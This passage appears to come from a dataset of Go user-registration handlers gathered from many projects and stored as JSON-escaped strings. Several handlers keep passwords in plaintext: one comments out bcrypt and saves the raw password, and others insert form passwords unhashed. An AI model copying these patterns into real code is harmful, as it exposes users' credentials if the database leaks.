newUser.Email).First(&currentUser)\\n\\tif currentUser.Email == \\\"\\\" {\\n\\t\\tif err != nil {\\n\\t\\t\\tjson.NewEncoder(w).Encode(errorResponse)\\n\\t\\t}\\n\\t\\tpassword := []byte(newUser.Password)\\n\\t\\tnewUser.Password = utils.HashSaltPassword(password)\\n\\t\\t//Sanitize these values so users cannot get higher permissions by setting json values\\n\\t\\tnewUser.IsAdmin = false\\n\\t\\tnewUser.EmailVerified = false\\n\\t\\t//Force FirstName and Last Name to have first character to be uppercase\\n\\t\\tnewUser.FirstName = utils.UppercaseName(newUser.FirstName)\\n\\t\\tnewUser.LastName = utils.UppercaseName(newUser.LastName)\\n\\t\\t//Set VerifyToken for new User\\n\\t\\tnewUser.VerifyToken = randomstring.GenerateRandomString(30)\\n\\t\\t//send token as query params in email in a link\\n\\t\\tparentURL := \\\"localhost:8080/api/v1/user/verify-email?token=\\\"\\n\\t\\tverifyURL := parentURL + newUser.VerifyToken\\n\\t\\ttemplate1 := \\\"

Welcome to paingha.me


\\\" + \\\"Verify Email\\\"\\n\\t\\tfmt.Println(template1)\\n\\t\\tDB.Create(&newUser)\\n\\t\\tw.WriteHeader(http.StatusOK)\\n\\t\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\t\\tto := []string{newUser.Email}\\n\\t\\tmailerResponse := mailer.SendMail(to, \\\"Welcome! Please Verify your Email\\\", template1)\\n\\t\\tfmt.Println(mailerResponse)\\n\\t\\tjson.NewEncoder(w).Encode(createdResponse)\\n\\t} else {\\n\\t\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\t\\tw.WriteHeader(http.StatusForbidden)\\n\\t\\tjson.NewEncoder(w).Encode(existsResponse)\\n\\t}\\n\\n}\",\n \"func UserRegister(res http.ResponseWriter, req *http.Request) {\\n\\n\\t// get user form from user register form\\n\\t// insert data to DB\\n\\t// First step would be Firstname, lastname and password..\\n\\t/*\\n\\t* encrypting password from frontend and decrypt at this end...\\n\\t* Password matching ( re entering)\\n\\t* Inserting to db ( firstname,lastname,email,password,registered_at)\\n\\t */\\n\\n\\trequestID := req.FormValue(\\\"uid\\\")\\n\\tfirstName := req.FormValue(\\\"first_name\\\")\\n\\tlastName := req.FormValue(\\\"last_name\\\")\\n\\temail := req.FormValue(\\\"email\\\")\\n\\tpassword := req.FormValue(\\\"password\\\")\\n\\n\\tlogs.WithFields(logs.Fields{\\n\\t\\t\\\"Service\\\": \\\"User Service\\\",\\n\\t\\t\\\"package\\\": \\\"register\\\",\\n\\t\\t\\\"function\\\": \\\"UserRegister\\\",\\n\\t\\t\\\"uuid\\\": requestID,\\n\\t\\t\\\"email\\\": email,\\n\\t}).Info(\\\"Received data to insert to users table\\\")\\n\\n\\t// check user entered same email address\\n\\thasAccount := Checkmail(email, requestID)\\n\\n\\tif hasAccount != true {\\n\\n\\t\\tdb := dbConn()\\n\\n\\t\\t// Inserting token to login_token table\\n\\t\\tinsertUser, err := db.Prepare(\\\"INSERT INTO users (email,first_name,last_name,password) VALUES(?,?,?,?)\\\")\\n\\t\\tif err != nil {\\n\\t\\t\\tlogs.WithFields(logs.Fields{\\n\\t\\t\\t\\t\\\"Service\\\": \\\"User Service\\\",\\n\\t\\t\\t\\t\\\"package\\\": \\\"register\\\",\\n\\t\\t\\t\\t\\\"function\\\": \\\"UserRegister\\\",\\n\\t\\t\\t\\t\\\"uuid\\\": requestID,\\n\\t\\t\\t\\t\\\"Error\\\": err,\\n\\t\\t\\t}).Error(\\\"Couldnt prepare insert statement for users table\\\")\\n\\t\\t}\\n\\t\\tinsertUser.Exec(email, firstName, lastName, password)\\n\\n\\t\\t// Inserting email to emails table\\n\\n\\t\\tinsertEmail, err := db.Prepare(\\\"INSERT INTO emails (email,isActive) VALUES(?,?)\\\")\\n\\t\\tif err != nil {\\n\\t\\t\\tlogs.WithFields(logs.Fields{\\n\\t\\t\\t\\t\\\"Service\\\": \\\"User Service\\\",\\n\\t\\t\\t\\t\\\"package\\\": \\\"register\\\",\\n\\t\\t\\t\\t\\\"function\\\": \\\"UserRegister\\\",\\n\\t\\t\\t\\t\\\"uuid\\\": requestID,\\n\\t\\t\\t\\t\\\"Error\\\": err,\\n\\t\\t\\t}).Error(\\\"Couldnt prepare insert statement for emails table\\\")\\n\\t\\t}\\n\\t\\tinsertEmail.Exec(email, 1)\\n\\n\\t\\t_, err = http.PostForm(\\\"http://localhost:7070/response\\\", url.Values{\\\"uid\\\": {requestID}, \\\"service\\\": {\\\"User Service\\\"},\\n\\t\\t\\t\\\"function\\\": {\\\"UserRegister\\\"}, \\\"package\\\": {\\\"Register\\\"}, \\\"status\\\": {\\\"1\\\"}})\\n\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Println(\\\"Error response sending\\\")\\n\\t\\t}\\n\\n\\t\\tdefer db.Close()\\n\\t\\treturn\\n\\t} // user has an account\\n\\n\\tlogs.WithFields(logs.Fields{\\n\\t\\t\\\"Service\\\": \\\"User Service\\\",\\n\\t\\t\\\"package\\\": \\\"register\\\",\\n\\t\\t\\\"function\\\": \\\"UserRegister\\\",\\n\\t\\t\\\"uuid\\\": requestID,\\n\\t\\t\\\"email\\\": email,\\n\\t}).Error(\\\"User has an account for this email\\\")\\n\\n\\t_, err := http.PostForm(\\\"http://localhost:7070/response\\\", url.Values{\\\"uid\\\": {requestID}, \\\"service\\\": {\\\"User Service\\\"},\\n\\t\\t\\\"function\\\": {\\\"sendLoginEmail\\\"}, \\\"package\\\": {\\\"Check Email\\\"}, \\\"status\\\": {\\\"0\\\"}})\\n\\n\\tif err != nil {\\n\\t\\tlog.Println(\\\"Error response sending\\\")\\n\\t}\\n}\",\n \"func Register (w http.ResponseWriter, r *http.Request) {\\n\\tw.Header().Set(\\\"content-type\\\", \\\"application/json\\\")\\n\\n\\tvar user models.User\\n\\tvar res models.ResponseResult\\n\\n\\tbody, _ := ioutil.ReadAll(r.Body)\\n\\terr := json.Unmarshal(body, &user)\\n\\n\\tif err != nil {\\n\\t\\tres.Error = err.Error()\\n\\t\\t_ = json.NewEncoder(w).Encode(res)\\n\\t\\treturn\\n\\t}\\n\\n\\tif msg, validationResult := user.Valid(); !validationResult {\\n\\t\\tres.Error = msg\\n\\t\\t_ = json.NewEncoder(w).Encode(res)\\n\\t\\treturn\\n\\t}\\n\\n\\n\\thash, err := bcrypt.GenerateFromPassword([]byte(user.Password), 10)\\n\\tif err != nil {\\n\\t\\tre := models.ResponseError{\\n\\t\\t\\tCode: constants.ErrCodeHashError,\\n\\t\\t\\tMessage: constants.MsgHashError,\\n\\t\\t\\tOriginalError: err,\\n\\t\\t}\\n\\t\\tres.Error = re\\n\\t\\t_ = json.NewEncoder(w).Encode(res)\\n\\t\\treturn\\n\\t}\\n\\n\\tuser.Password = string(hash)\\n\\t_, err = models.InsertOne(models.UserCollection, user)\\n\\n\\tif err != nil {\\n\\t\\tre := models.ResponseError{\\n\\t\\t\\tCode: constants.ErrCodeInsertOne,\\n\\t\\t\\tMessage: strings.Replace(constants.MsgErrorInsertOne, \\\"%COLLECTION%\\\", models.UserCollection, -1),\\n\\t\\t\\tOriginalError: err,\\n\\t\\t}\\n\\t\\tres.Error = re\\n\\t\\t_ = json.NewEncoder(w).Encode(res)\\n\\t\\treturn\\n\\t}\\n\\n\\tres.Error = false\\n\\tres.Result = strings.Replace(constants.MsgSuccessInsertedOne, \\\"%COLLECTION%\\\", models.UserCollection, -1)\\n\\t_ = json.NewEncoder(w).Encode(res)\\n\\n\\treturn\\n\\n}\",\n \"func registerAction(w http.ResponseWriter, r *http.Request) {\\n\\n\\tif r.Method == \\\"POST\\\" {\\n\\n\\t\\tdb, err := config.GetMongoDB()\\n\\n\\t\\tif err != nil {\\n\\t\\t\\tfmt.Println(\\\"Gagal menghubungkan ke database!\\\")\\n\\t\\t\\tos.Exit(2)\\n\\t\\t}\\n\\n\\t\\tif r.FormValue(\\\"fullname\\\") == \\\"\\\" {\\n\\n\\t\\t\\tmsg := []byte(\\\"full_name_empty\\\")\\n\\n\\t\\t\\tcomponents.SetFlashMessage(w, \\\"message\\\", msg)\\n\\n\\t\\t\\thttp.Redirect(w, r, \\\"/register\\\", 301)\\n\\n\\t\\t} else if r.FormValue(\\\"email\\\") == \\\"\\\" {\\n\\t\\t\\tmsg := []byte(\\\"email_empty\\\")\\n\\n\\t\\t\\tcomponents.SetFlashMessage(w, \\\"message\\\", msg)\\n\\n\\t\\t\\thttp.Redirect(w, r, \\\"/register\\\", 301)\\n\\t\\t} else if r.FormValue(\\\"password\\\") == \\\"\\\" {\\n\\t\\t\\tmsg := []byte(\\\"password_empty\\\")\\n\\n\\t\\t\\tcomponents.SetFlashMessage(w, \\\"message\\\", msg)\\n\\n\\t\\t\\thttp.Redirect(w, r, \\\"/register\\\", 301)\\n\\t\\t} else if components.ValidateFullName(r.FormValue(\\\"fullname\\\")) == false {\\n\\t\\t\\tmsg := []byte(\\\"full_name_error_regex\\\")\\n\\n\\t\\t\\tcomponents.SetFlashMessage(w, \\\"message\\\", msg)\\n\\n\\t\\t\\thttp.Redirect(w, r, \\\"/register\\\", 301)\\n\\t\\t} else if components.ValidateEmail(r.FormValue(\\\"email\\\")) == false {\\n\\t\\t\\tmsg := []byte(\\\"email_error_regex\\\")\\n\\n\\t\\t\\tcomponents.SetFlashMessage(w, \\\"message\\\", msg)\\n\\n\\t\\t\\thttp.Redirect(w, r, \\\"/register\\\", 301)\\n\\t\\t} else if components.ValidatePassword(r.FormValue(\\\"password\\\")) == false {\\n\\t\\t\\tmsg := []byte(\\\"password_error_regex\\\")\\n\\n\\t\\t\\tcomponents.SetFlashMessage(w, \\\"message\\\", msg)\\n\\n\\t\\t\\thttp.Redirect(w, r, \\\"/register\\\", 301)\\n\\t\\t} else {\\n\\n\\t\\t\\tvar userRepository repository.UserRepository\\n\\n\\t\\t\\tuserRepository = repository.NewUserRepositoryMongo(db, \\\"pengguna\\\")\\n\\n\\t\\t\\tmakeID := uuid.NewV1()\\n\\n\\t\\t\\thashedPassword, _ := components.HashPassword(r.FormValue(\\\"password\\\"))\\n\\n\\t\\t\\tvar userModel model.User\\n\\n\\t\\t\\tuserModel.ID = makeID.String()\\n\\n\\t\\t\\tuserModel.FullName = r.FormValue(\\\"fullname\\\")\\n\\n\\t\\t\\tuserModel.Email = r.FormValue(\\\"email\\\")\\n\\n\\t\\t\\tuserModel.Password = hashedPassword\\n\\n\\t\\t\\terr = userRepository.Insert(&userModel)\\n\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tmsg := []byte(\\\"register_error\\\")\\n\\n\\t\\t\\t\\tcomponents.SetFlashMessage(w, \\\"message\\\", msg)\\n\\n\\t\\t\\t\\thttp.Redirect(w, r, \\\"/register\\\", 301)\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tmsg := []byte(\\\"register_success\\\")\\n\\n\\t\\t\\t\\tcomponents.SetFlashMessage(w, \\\"message\\\", msg)\\n\\n\\t\\t\\t\\thttp.Redirect(w, r, \\\"/register\\\", 301)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t} else {\\n\\t\\terrorHandler(w, r, http.StatusNotFound)\\n\\t}\\n}\",\n \"func Register(w http.ResponseWriter, r *http.Request) {\\n\\n\\tmessages := make([]string, 0)\\n\\ttype MultiErrorMessages struct {\\n\\t\\tMessages []string\\n\\t}\\n\\n\\t//Get Formdata\\n\\tusername := r.FormValue(\\\"username\\\")\\n\\tpassword := r.FormValue(\\\"password\\\")\\n\\temailadress := r.FormValue(\\\"email\\\")\\n\\trepeatPassword := r.FormValue(\\\"repeatpassword\\\")\\n\\n\\t//Check Password\\n\\tif password != repeatPassword {\\n\\n\\t\\t//Add error Message\\n\\t\\tmessages = append(messages, \\\"Passwort ist nicht richtig wiedeholt worden.\\\")\\n\\n\\t}\\n\\n\\t//Check Email\\n\\temail, err := mail.ParseAddress(emailadress)\\n\\tif err != nil || !strings.Contains(email.Address, \\\".\\\") {\\n\\n\\t\\t//Add error Message\\n\\t\\tmessages = append(messages, \\\"Dies ist keine gültige Emailadresse.\\\")\\n\\n\\t}\\n\\n\\t//Fill Model\\n\\tuser := model.User{}\\n\\tuser.Name = username\\n\\tuser.Password = password\\n\\tuser.Email = emailadress\\n\\tuser.Type = \\\"User\\\"\\n\\n\\t//Try and check Creating User\\n\\terr = user.CreateUser()\\n\\tif err != nil {\\n\\n\\t\\t//Write Data\\n\\t\\tmessages = append(messages, err.Error())\\n\\n\\t}\\n\\n\\t//Check if any Error Message was assembled\\n\\tif len(messages) != 0 {\\n\\n\\t\\tresponseModel := MultiErrorMessages{\\n\\t\\t\\tMessages: messages,\\n\\t\\t}\\n\\n\\t\\tresponseJSON, err := json.Marshal(responseModel)\\n\\t\\tif err != nil {\\n\\n\\t\\t\\tw.WriteHeader(http.StatusInternalServerError)\\n\\t\\t\\tw.Write([]byte(err.Error()))\\n\\n\\t\\t}\\n\\n\\t\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json; charset=UTF-8\\\")\\n\\t\\tw.WriteHeader(http.StatusConflict)\\n\\t\\tw.Write(responseJSON)\\n\\t\\treturn\\n\\t}\\n\\n\\t//Hash Username\\n\\tmd5HashInBytes := md5.Sum([]byte(user.Name))\\n\\tmd5HashedUsername := hex.EncodeToString(md5HashInBytes[:])\\n\\n\\t//Create Session\\n\\tsession, _ := store.Get(r, \\\"session\\\")\\n\\tsession.Values[\\\"authenticated\\\"] = true\\n\\tsession.Values[\\\"username\\\"] = username\\n\\tsession.Values[\\\"hashedusername\\\"] = md5HashedUsername\\n\\tsession.Save(r, w)\\n\\n\\t//Write Respone\\n\\thttp.Redirect(w, r, \\\"/users?action=userdata\\\", http.StatusFound)\\n}\",\n \"func HandleRegister(w http.ResponseWriter, r *http.Request) {\\n\\terr := r.ParseForm()\\n\\tif err != nil {\\n\\t\\tServeInternalServerError(w, r)\\n\\t\\treturn\\n\\t}\\n\\tbody := RegisterFormValues{}\\n\\tdecoder := schema.NewDecoder()\\n\\terr = decoder.Decode(&body, r.PostForm)\\n\\tif err != nil {\\n\\t\\tServeInternalServerError(w, r)\\n\\t\\treturn\\n\\t}\\n\\n\\tacc1 := data.Account{}\\n\\tacc1.Name = body.Name\\n\\tacc1.Handle = body.Handle\\n\\tacc1.University = body.University\\n\\tacc1.Country = body.Country\\n\\n\\th := []byte(acc1.Handle)\\n\\tre := regexp.MustCompile(`[^[:word:]]`)\\n\\tm := re.Match(h)\\n\\tif m {\\n\\t\\tServeHandlePatternNotMatch(w, r)\\n\\t\\treturn\\n\\t}\\n\\n\\tswitch {\\n\\tcase len(acc1.Name) < 5:\\n\\t\\tServeNameShort(w, r)\\n\\t\\treturn\\n\\tcase len(acc1.Handle) < 3:\\n\\t\\tServeHandleShort(w, r)\\n\\t\\treturn\\n\\tcase len(acc1.University) < 2:\\n\\t\\tServeUniversityShort(w, r)\\n\\t\\treturn\\n\\tcase len(acc1.Country) < 2:\\n\\t\\tServeCountryShort(w, r)\\n\\t\\treturn\\n\\t}\\n\\n\\tae, err := data.NewAccountEmail(body.Email)\\n\\tif err != nil {\\n\\t\\tServeInvalidEmail(w, r)\\n\\t\\treturn\\n\\t}\\n\\tacc1.Emails = append(acc1.Emails, ae)\\n\\n\\tap, err := data.NewAccountPassword(body.Password)\\n\\tif err != nil {\\n\\t\\tServeInternalServerError(w, r)\\n\\t\\treturn\\n\\t}\\n\\tacc1.Password = ap\\n\\n\\tif acc1.IsDup() {\\n\\t\\tServeHandleOREmailDuplicate(w, r)\\n\\t\\treturn\\n\\t}\\n\\n\\terr = acc1.Put()\\n\\tif err != nil {\\n\\t\\tfmt.Println(err)\\n\\t\\tServeInternalServerError(w, r)\\n\\t\\treturn\\n\\t}\\n\\n\\thttp.Redirect(w, r, \\\"/tasks\\\", http.StatusSeeOther)\\n}\",\n \"func Register(r * http.Request, response * APIResponse) {\\n\\tif AllowsRegister {\\n\\t\\tif r.FormValue(\\\"username\\\") != \\\"\\\" && r.FormValue(\\\"password\\\") != \\\"\\\" && r.FormValue(\\\"name\\\") != \\\"\\\" {\\n\\t\\t\\tusername := r.FormValue(\\\"username\\\")\\n\\t\\t\\tpassword := r.FormValue(\\\"password\\\")\\n\\t\\t\\trealName := r.FormValue(\\\"name\\\")\\n\\t\\t\\tif len(password) > 5 && userNameIsValid(username) && nameIsValid(realName) {\\n\\t\\t\\t\\tif !UserForUserNameExists(username) {\\n\\t\\t\\t\\t\\t//The password is acceptable, the username is untake and acceptable\\n\\t\\t\\t\\t\\t//Sign up user\\n\\t\\t\\t\\t\\tuser := User{}\\n\\t\\t\\t\\t\\tuser.Username = username\\n\\t\\t\\t\\t\\tuser.HashedPassword = hashString(password)\\n\\t\\t\\t\\t\\tuser.UserImageURL = \\\"userImages/default.png\\\"\\n\\t\\t\\t\\t\\tuser.RealName = realName\\n\\t\\t\\t\\t\\tAddUser(&user)\\n\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t//Log the user in\\n\\t\\t\\t\\t\\tLogin(r, response)\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tresponse.Message = \\\"Username already taken\\\"\\n\\t\\t\\t\\t\\te(\\\"API\\\", \\\"Username already taken\\\")\\n\\t\\t\\t\\t\\tresponse.SuccessCode = 400\\n\\t\\t\\t\\t}\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tresponse.Message = \\\"Values do not meet requirements\\\"\\n\\t\\t\\t\\te(\\\"API\\\", \\\"Password is too short or username is invalid\\\")\\n\\t\\t\\t\\tresponse.SuccessCode = 400\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\tresponse.Message = \\\"More information required\\\"\\n\\t\\t\\te(\\\"API\\\", \\\"Couldn't register user - not enough detail\\\")\\n\\t\\t\\tresponse.SuccessCode = 400\\n\\t\\t}\\n\\t} else {\\n\\t\\tresponse.SuccessCode = 400\\n\\t\\tresponse.Message = \\\"Server doesn't allow registration\\\"\\n\\t}\\n}\",\n \"func Register(w http.ResponseWriter, r *http.Request) {\\n\\n\\tPrintln(\\\"Endpoint Hit: Register\\\")\\n\\n\\tvar response struct {\\n\\t\\tStatus bool\\n\\t\\tMessage string\\n\\t}\\n\\n\\t// reqBody, _ := ioutil.ReadAll(r.Body)\\n\\t// var register_user models.Pet_Owner\\n\\t// json.Unmarshal(reqBody, &register_user)\\n\\n\\t// email := register_user.Email\\n\\t// password := register_user.Password\\n\\t// name := register_user.Name\\n\\n\\t//BIKIN VALIDATION\\n\\n\\temail := r.FormValue(\\\"email\\\")\\n\\tpassword := r.FormValue(\\\"password\\\")\\n\\tname := r.FormValue(\\\"name\\\")\\n\\n\\tif len(name) == 0 {\\n\\t\\tmessage := \\\"Ada Kolom Yang Kosong\\\"\\n\\t\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\t\\tw.WriteHeader(200)\\n\\t\\tresponse.Status = false\\n\\t\\tresponse.Message = message\\n\\t\\tjson.NewEncoder(w).Encode(response)\\n\\t\\treturn\\n\\t}\\n\\n\\tif _, status := ValidateEmail(email); status != true {\\n\\t\\tmessage := \\\"Format Email Kosong atau Salah\\\"\\n\\t\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\t\\tw.WriteHeader(200)\\n\\t\\tresponse.Status = false\\n\\t\\tresponse.Message = message\\n\\t\\tjson.NewEncoder(w).Encode(response)\\n\\t\\treturn\\n\\t}\\n\\n\\tif _, status := ValidatePassword(password); status != true {\\n\\t\\tmessage := \\\"Format Password Kosong atau Salah, Minimal 6 Karakter\\\"\\n\\t\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\t\\tw.WriteHeader(200)\\n\\t\\tresponse.Status = false\\n\\t\\tresponse.Message = message\\n\\t\\tjson.NewEncoder(w).Encode(response)\\n\\t\\treturn\\n\\t}\\n\\n\\t//cek apakah email user sudah ada di database\\n\\t//query user dengan email tersebut\\n\\tstatus, _ := QueryUser(email)\\n\\n\\t// kalo status false , berarti register\\n\\t// kalo status true, berarti print email terdaftar\\n\\n\\tif status {\\n\\t\\tmessage := \\\"Email sudah terdaftar\\\"\\n\\t\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\t\\tw.WriteHeader(200)\\n\\t\\tresponse.Status = false\\n\\t\\tresponse.Message = message\\n\\t\\tjson.NewEncoder(w).Encode(response)\\n\\t\\treturn\\n\\n\\t} else {\\n\\t\\t// hashedPassword, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.MinCost)\\n\\t\\thashedPassword := password\\n\\t\\tRole := 1\\n\\n\\t\\t// Println(hashedPassword)\\n\\t\\tif len(hashedPassword) != 0 && checkErr(w, r, err) {\\n\\t\\t\\tstmt, err := db.Prepare(\\\"INSERT INTO account (Email, Name, Password, Role) VALUES (?,?,?,?)\\\")\\n\\t\\t\\tif err == nil {\\n\\t\\t\\t\\t_, err := stmt.Exec(&email, &name, &hashedPassword, &Role)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\thttp.Error(w, err.Error(), http.StatusInternalServerError)\\n\\t\\t\\t\\t\\treturn\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tmessage := \\\"Register Succesfull\\\"\\n\\t\\t\\t\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\t\\t\\t\\tw.WriteHeader(200)\\n\\t\\t\\t\\tresponse.Status = true\\n\\t\\t\\t\\tresponse.Message = message\\n\\t\\t\\t\\tjson.NewEncoder(w).Encode(response)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\tmessage := \\\"Registration Failed\\\"\\n\\t\\t\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\t\\t\\tw.WriteHeader(200)\\n\\t\\t\\tresponse.Status = false\\n\\t\\t\\tresponse.Message = message\\n\\t\\t\\tjson.NewEncoder(w).Encode(response)\\n\\n\\t\\t}\\n\\t}\\n}\",\n \"func Register(w http.ResponseWriter, r *http.Request){\\n\\tvar user models.User\\n\\terr := json.NewDecoder(r.Body).Decode(&user)\\n\\t\\n\\tif err != nil {\\n\\t\\thttp.Error(w, \\\"Error en los datos recibidos: \\\" + err.Error(), 400)\\n\\t\\treturn\\n\\t}\\n\\n\\tif len(user.Email) == 0 {\\n\\t\\thttp.Error(w, \\\"El email es requerido.\\\", 400)\\n\\t\\treturn\\n\\t}\\n\\n\\tif len(user.Password) < 6 {\\n\\t\\thttp.Error(w, \\\"La contraseña debe ser de al menos 6 caractéres.\\\", 400)\\n\\t\\treturn\\n\\t}\\n\\n\\t_, found, _ := db.UserExist(user.Email)\\n\\n\\tif found == true {\\n\\t\\thttp.Error(w, \\\"El usuario ya existe.\\\", 400)\\n\\t\\treturn\\n\\t}\\n\\n\\t_, status, err := db.Register(user)\\n\\n\\tif err != nil {\\n\\t\\thttp.Error(w, \\\"nN se pudo realizar el registro: \\\" + err.Error(), 500)\\n\\t\\treturn\\n\\t}\\n\\n\\tif status == false {\\n\\t\\thttp.Error(w, \\\"No se pudo realizar el registro\\\", 500)\\n\\t\\treturn\\n\\t}\\n\\n\\tw.WriteHeader(http.StatusCreated)\\n}\",\n \"func (self *server) regist(w http.ResponseWriter, r *http.Request) {\\n\\tvar (\\n\\t\\terr error\\n\\t\\ttoken string\\n\\t\\tac entity.Account\\n\\t)\\n\\n\\tac.IP = extension.GetRealIP(r)\\n\\n\\tdefer r.Body.Close()\\n\\tif err = json.NewDecoder(r.Body).Decode(&ac); err != nil {\\n\\t\\tgoto FAILED\\n\\t}\\n\\n\\tif err = validate.Account(ac.Account, true); err != nil {\\n\\t\\tgoto FAILED\\n\\t}\\n\\tif err = validate.Password(ac.Password, true); err != nil {\\n\\t\\tgoto FAILED\\n\\t}\\n\\tif err = validate.Mobile(ac.Mobile, false); err != nil {\\n\\t\\tgoto FAILED\\n\\t}\\n\\tif err = validate.Email(ac.Email, false); err != nil {\\n\\t\\tgoto FAILED\\n\\t}\\n\\n\\t// todo: check account conflict in redis\\n\\n\\t// todo: check ip risk in redis\\n\\n\\tac.Password = crypt.EncryptPwd(ac.Password)\\n\\tif err = self.db.Reg(self.ctx, &ac); err != nil {\\n\\t\\tgoto FAILED\\n\\t}\\n\\n\\ttoken = crypt.NewToken(fmt.Sprintf(\\\"%d\\\", ac.ID), ac.IP, constant.TokenTimeout, constant.PrivKey)\\n\\t// err = crypt.ValidateToken(fmt.Sprintf(\\\"%d\\\", a.ID), token, ip, constant.PrivKey)\\n\\tw.Write([]byte(fmt.Sprintf(`{\\\"id\\\":%d,\\\"account\\\":\\\"%s\\\",\\\"token\\\":\\\"%s\\\"}`, ac.ID, ac.Account, token)))\\n\\tself.log.Trace(\\\"regist %s@%s successed\\\", ac.Account, ac.IP)\\n\\treturn\\n\\nFAILED:\\n\\tw.Write([]byte(fmt.Sprintf(`{\\\"code\\\":100, \\\"msg\\\":\\\"%s\\\"}`, err)))\\n\\tself.log.Trace(\\\"regist %s@%s failed: %s\\\", ac.Account, ac.IP, err)\\n}\",\n \"func (serv *Server) RegisterUser(creds Credentials) (err error) {\\n row := serv.db.QueryRow(\\\"select uid from users where username = ?;\\\", creds.Username)\\n\\n var uid int\\n if row.Scan(&uid) == sql.ErrNoRows {\\n salt := make([]byte, SaltLength)\\n rand.Read(salt)\\n\\n saltedHash, err := HashAndSaltPassword([]byte(creds.Password), salt)\\n if err != nil {\\n return err\\n }\\n\\n _, err = serv.db.Exec(\\n `insert into users (username, salt, saltedhash) values (?, ?, ?);`,\\n creds.Username, salt, saltedHash)\\n\\n if err != nil {\\n err = ErrRegistrationFailed\\n }\\n } else {\\n err = ErrUsernameTaken\\n }\\n\\n return\\n}\",\n \"func Register(w http.ResponseWriter, r *http.Request) {\\n\\n\\tif r.Method == http.MethodGet {\\n\\t\\tfmt.Println(\\\"http:GET:Register\\\")\\n\\t\\tsession, _ := auth.GetCookieStore().Get(r, auth.GetSessionCookie())\\n\\t\\tif e := session.Values[auth.USER_COOKIE_AUTH]; e != nil && e.(bool) {\\n\\t\\t\\thttp.Redirect(w, r, \\\"/login\\\", http.StatusFound)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t}\\n\\n\\tif r.Method == http.MethodPost {\\n\\t\\tm := make(map[string]interface{})\\n\\t\\tfmt.Println(\\\"http:POST:Register\\\")\\n\\t\\te := r.FormValue(query.USER_EMAIL_ADDRESS)\\n\\n\\t\\tex, _, err := model.Check_User_By_Email(e, \\\"\\\")\\n\\t\\tif ex || err != nil {\\n\\t\\t\\tm[query.SUCCESS] = false\\n\\t\\t\\tb, _ := json.MarshalIndent(m, \\\"\\\", \\\" \\\")\\n\\t\\t\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\t\\t\\tw.Write(b)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tu, err := model.CreateUserEP(e, \\\"\\\")\\n\\t\\tu.SendWelcomeEmail()\\n\\n\\t\\tif err != nil {\\n\\t\\t\\tprintln(err)\\n\\t\\t}\\n\\t\\tu.StoreUser()\\n\\n\\t\\tm[query.SUCCESS] = true\\n\\t\\tb, _ := json.MarshalIndent(m, \\\"\\\", \\\" \\\")\\n\\n\\t\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\t\\tw.Write(b)\\n\\t\\treturn\\n\\t}\\n}\",\n \"func (uh *UserHandler) Register(w http.ResponseWriter, r *http.Request) {\\n\\n\\tvar userHolder *entity.User\\n\\tvar password string\\n\\n\\tif r.Method == http.MethodGet {\\n\\t\\tuh.CSRF, _ = stringTools.GenerateRandomBytes(30)\\n\\t\\ttoken, err := stringTools.CSRFToken(uh.CSRF)\\n\\t\\tif err != nil {\\n\\t\\t\\thttp.Error(w, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError)\\n\\t\\t}\\n\\t\\tinputContainer := InputContainer{CSRF: token}\\n\\t\\tuh.Temp.ExecuteTemplate(w, \\\"SignUp.html\\\", inputContainer)\\n\\t\\treturn\\n\\t}\\n\\n\\tif r.Method == http.MethodPost {\\n\\n\\t\\tthirdParty := r.FormValue(\\\"thirdParty\\\")\\n\\t\\tvar identification entity.Identification\\n\\t\\tfirstname := r.FormValue(\\\"firstname\\\")\\n\\t\\tlastname := r.FormValue(\\\"lastname\\\")\\n\\t\\temail := r.FormValue(\\\"email\\\")\\n\\t\\tidentification.ConfirmPassword = r.FormValue(\\\"confirmPassword\\\")\\n\\n\\t\\tif thirdParty == \\\"true\\\" {\\n\\n\\t\\t\\tif r.FormValue(\\\"serverAUT\\\") != ServerAUT {\\n\\t\\t\\t\\thttp.Error(w, \\\"Invalid server key\\\", http.StatusBadRequest)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\n\\t\\t\\tidentification.From = r.FormValue(\\\"from\\\")\\n\\t\\t\\tidentification.TpFlag = true\\n\\t\\t} else {\\n\\t\\t\\tpassword = r.FormValue(\\\"password\\\")\\n\\t\\t\\tidentification.ConfirmPassword = r.FormValue(\\\"confirmPassword\\\")\\n\\t\\t}\\n\\n\\t\\t// Validating CSRF Token\\n\\t\\tcsrfToken := r.FormValue(\\\"csrf\\\")\\n\\t\\tok, errCRFS := stringTools.ValidCSRF(csrfToken, uh.CSRF)\\n\\n\\t\\tuserHolder = entity.NewUserFR(firstname, lastname, email, password)\\n\\t\\terrMap := uh.UService.Verification(userHolder, identification)\\n\\t\\tif !ok || errCRFS != nil {\\n\\t\\t\\tif len(errMap) == 0 {\\n\\t\\t\\t\\terrMap = make(map[string]string)\\n\\t\\t\\t}\\n\\t\\t\\terrMap[\\\"csrf\\\"] = \\\"Invalid token 